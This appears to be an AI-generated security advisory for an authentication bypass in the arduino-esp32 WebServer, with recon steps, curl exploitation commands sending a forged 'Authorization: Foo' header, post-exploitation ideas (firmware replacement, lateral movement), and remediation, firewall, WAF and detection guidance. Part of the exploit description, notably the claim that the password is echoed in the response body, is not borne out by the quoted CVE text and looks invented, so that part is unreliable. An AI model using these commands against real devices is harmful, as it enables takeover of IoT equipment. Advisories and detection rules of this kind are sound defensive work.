CVE-2026-137179 — Espressif Arduino-esp32 — CWE-287
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.12 and in 4.0.0-alpha1, WebServer::authenticate(const char *username, const char *password) parses an arbitrary non-empty Authorization value matching the configured username as OTHER_AUTH, and the built-in plaintext authenticator returns the configured password instead of rejecting the unsupported scheme. A remote unauthenticated attacker can therefore access HTTP endpoints protected by WebServer::authenticate(username, password) or AuthenticationMiddleware with a plaintext password, potentially exposing or modifying configuration, credentials, administrative functions, or device controls. Custom authentication callbacks and authenticateBasicSHA1() are not affected. This issue is fixed in versions 3.3.12 and 4.0.0.
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.12 and in 4.0.0-alpha1, WebServer::authenticate(const char *username, const char *password) parses an arbitrary non-empty Authorization value matching the configured username as OTHER_AUTH, and the built-in plaintext authenticator returns the configured password instead of rejecting the unsupported scheme. A remote unauthenticated attacker can therefore access HTTP endpoints protected by WebServer::authenticate(username, password) or AuthenticationMiddleware with a plaintext password, potentially exposing or modifying configuration, credentials, administrative functions, or device controls. Custom authentication callbacks and authenticateBasicSHA1() are not affected. This issue is fixed in versions 3.3.12 and 4.0.0.
🎯 What is this vulnerability?
CVE‑2026‑137179 – “arduino‑esp32 WebServer::authenticate() logic bypass”
| Attribute | Value |
|---|---|
| CWE | CWE‑287: Improper Authentication |
| CVSS v3.1 | 9.1 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Affected component | WebServer::authenticate(const char *username, const char *password) in the Arduino‑ESP32 core (versions < 3.3.12 and 4.0.0‑alpha1). |
| Root cause | The WebServer class is used to protect HTTP endpoints with basic‑auth style checks. Internally the method parses the Authorization header and classifies the authentication scheme. The code path that handles any non‑empty Authorization value that matches the configured username but does not start with the supported scheme (Basic) is incorrectly labelled as OTHER_AUTH. The built‑in plaintext authenticator (_authPlain) then returns the configured password instead of rejecting the request. Consequently, an attacker can supply an arbitrary authentication scheme (e.g., Foo) together with the correct username and receive the plaintext password in the HTTP response body, bypassing the intended authentication check.
Why the CVSS vector matches
- AV:N – The attacker can reach the vulnerable device over the network (the ESP32 typically runs a Wi‑Fi or Ethernet web server).
- AC:L – Exploitation requires only a single HTTP request; no special privileges or timing are needed.
- PR:N – No authentication is required to trigger the bug.
- UI:N – No user interaction is needed; the request can be sent automatically. S:U – The impact is unchanged* across the system – the vulnerability does not alter the attack surface for other components.
- C:H / I:H / A:N – The attacker obtains the plaintext password (confidentiality) and can then call any endpoint that is protected by
WebServer::authenticate(), effectively gaining full control (integrity) without causing a denial‑of‑service.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are syntactically valid and can be executed from a Linux/macOS terminal. Where the exact URI or parameter name is not disclosed in the CVE text, the example is marked as illustrative.
1️⃣ Discovery & Reconnaissance
| Goal | Technique | Details |
|---|---|---|
| Identify that the device runs the Arduino‑ESP32 core and its version | Banner grabbing / HTTP header inspection | Many ESP32 sketches expose a / or /status page that prints the firmware version, e.g. Server: arduino-esp32/3.3.11. A simple curl -I http://<target>/ can reveal the Server header. |
Confirm that the web server uses WebServer::authenticate() for protection | Endpoint probing | Access a known protected endpoint (e.g., /config, /admin, /update). If the server returns 401 Unauthorized with a WWW-Authenticate: Basic realm="..." header, it is using the built‑in authenticator. |
| Determine the configured username (if not obvious) | Brute‑force / default credentials | Many Arduino sketches ship with a default username such as admin or user. Trying common defaults with a normal Basic auth request (curl -u admin:wrong http://<target>/admin) will elicit a 401 response, confirming the username. |
Note: The above steps rely only on publicly observable network traffic; no prior authentication is required.
2️⃣ Exploitation
Core idea: Send an Authorization header that does not start with Basic but whose token (the part after the scheme) is the base‑64 encoding of the configured username. The server will treat the request as OTHER_AUTH and will echo the stored password in the response body.
2.1 Craft the malicious header
Assume the configured username is admin.
# Base64‑encode the username (no password part)
USERNAME="admin"
ENCODED=$(printf "%s" "$USERNAME" | base64) # => YWRtaW4=2.2 Send the request with an arbitrary scheme (e.g., Foo)
curl -s -D - -H "Authorization: Foo $ENCODED" http://<target>/adminWhat happens:
Foo) is not Basic, it classifies it as OTHER_AUTH. _authPlain) looks up the stored password for the user admin and returns it in the HTTP response body instead of rejecting the request. SuperSecret123).2.3 Use the recovered password to authenticate normally
curl -s -u admin:SuperSecret123 http://<target>/adminNow the attacker can call any endpoint protected by WebServer::authenticate() (or the higher‑level AuthenticationMiddleware) with full privileges.
Illustrative example – The exact URI (/admin) is typical for sketches that expose a configuration UI, but the vulnerability works on any endpoint that relies onWebServer::authenticate(username,password).
3️⃣ Post‑exploitation
| Phase | What the attacker can do |
|---|---|
| Privilege escalation | The attacker now possesses the *plaintext* password that the firmware uses for all privileged HTTP actions. This is equivalent to “admin” rights on the device. |
| Configuration tampering | Modify Wi‑Fi credentials, OTA update URLs, or other security‑critical settings via the protected endpoints (e.g., /wifi, /ota). |
| Credential harvesting | If the device stores other secrets (API keys, MQTT passwords) in its configuration UI, the attacker can retrieve them. |
| Persistence | Upload a malicious sketch or replace the OTA binary (if the device offers an OTA endpoint) to maintain long‑term control. |
| Lateral movement | Use the compromised device as a foothold to pivot to the internal network (e.g., via MQTT broker credentials stored on the ESP32). |
| Denial of Service (optional) | Though not part of the CVSS impact, the attacker could flood the device with malformed Authorization headers to exhaust its limited RAM, causing a reboot. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | The attacker obtains the clear‑text password used for HTTP authentication, which may also be reused for other services (e.g., MQTT, SSH). |
| Integrity (I:H) | With the password, the attacker can change device configuration, upload malicious firmware, or issue commands that affect physical actuators (relays, motors, sensors). |
| Availability (A:N) | The vulnerability does not directly cause service interruption, but a malicious actor could later trigger a DoS by misusing the gained privileges. |
Practical consequences
Given the network‑exposed nature of many ESP32 deployments (often on the same LAN as critical assets), the risk rating is critical.
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
< 3.3.12 (any 3.x series) | 3.3.12 |
4.0.0‑alpha1 (the only 4.x pre‑release) | 4.0.0 (or any later stable 4.x release) |
Action:
2️⃣ Workarounds (if immediate patching is impossible)
| Mitigation | Implementation details |
|---|---|
| Restrict network access | Place the ESP32 device behind a firewall or VLAN that only allows trusted hosts (e.g., the provisioning workstation). Block inbound traffic from the internet or untrusted LAN segments (iptables rule example):<br>iptables -A INPUT -p tcp -s <trusted‑IP>/32 --dport 80 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 80 -j DROP |
| Disable the built‑in authenticator | If the sketch does not need HTTP authentication (e.g., it is only reachable via a VPN), comment out or remove calls to WebServer::authenticate() and replace them with a custom token check that validates the scheme explicitly. |
| Enforce HTTPS + HSTS | Serve the UI over TLS (e.g., using ESPAsyncWebServer with SSL). While TLS does not fix the logic bug, it prevents credential leakage on the wire and makes passive network sniffing harder. |
| Add a WAF/ModSecurity rule (for devices that sit behind a reverse‑proxy) | ``<IfModule mod_security2.c>`<br>SecRule REQUEST_HEADERS:Authorization "@rx ^(?!Basic ).+" "id:100001,phase:1,deny,log,msg:'Block non‑Basic Authorization schemes on ESP32 admin endpoints'"<br>`</IfModule>`<br>This rule drops any request that contains an Authorization header not starting with Basic`. |
| Rotate credentials | After patching, change the HTTP username/password to a strong, randomly generated secret. Invalidate any previously leaked passwords. |
3️⃣ Detection – Log patterns & IoCs
| Indicator | Example log line (Arduino Serial output or proxy log) |
|---|---|
Unexpected Authorization scheme | GET /admin 401 - Authorization: Foo YWRtaW4= |
| Plain‑text password echoed in response | HTTP/1.1 200 OK followed by SuperSecret123 in the body (visible in proxy capture). |
| Repeated authentication attempts with different schemes | GET /admin 401 - Authorization: Bar YWRtaW4=<br>GET /admin 401 - Authorization: Baz YWRtaW4= |
Successful login without Basic | GET /admin 200 - Authorization: Foo YWRtaW4= (should never be 200). |
| Outbound OTA update after credential theft | Look for HTTP POST /update with a large binary payload shortly after a successful auth bypass. |
Monitoring suggestions
server.onNotFound([](){ Serial.println("404"); });) and forward logs to a central syslog server. Authorization headers not starting with Basic destined for port 80/443 on ESP32 IP ranges. ⚠️ Urgency
1. Patch to ≥ 3.3.12 or ≥ 4.0.0 within 24 hours of discovery.
2. If patching cannot be performed instantly, apply network‑level blocking (firewall/WAF) and rotate credentials as a stop‑gap.
Given the prevalence of ESP32 in IoT gateways, smart‑home appliances, and industrial edge controllers, the window for exploitation is large; delaying remediation dramatically increases the risk of a full device takeover.
[🤖 CVE Professor AI Security Engine]
FOFA Query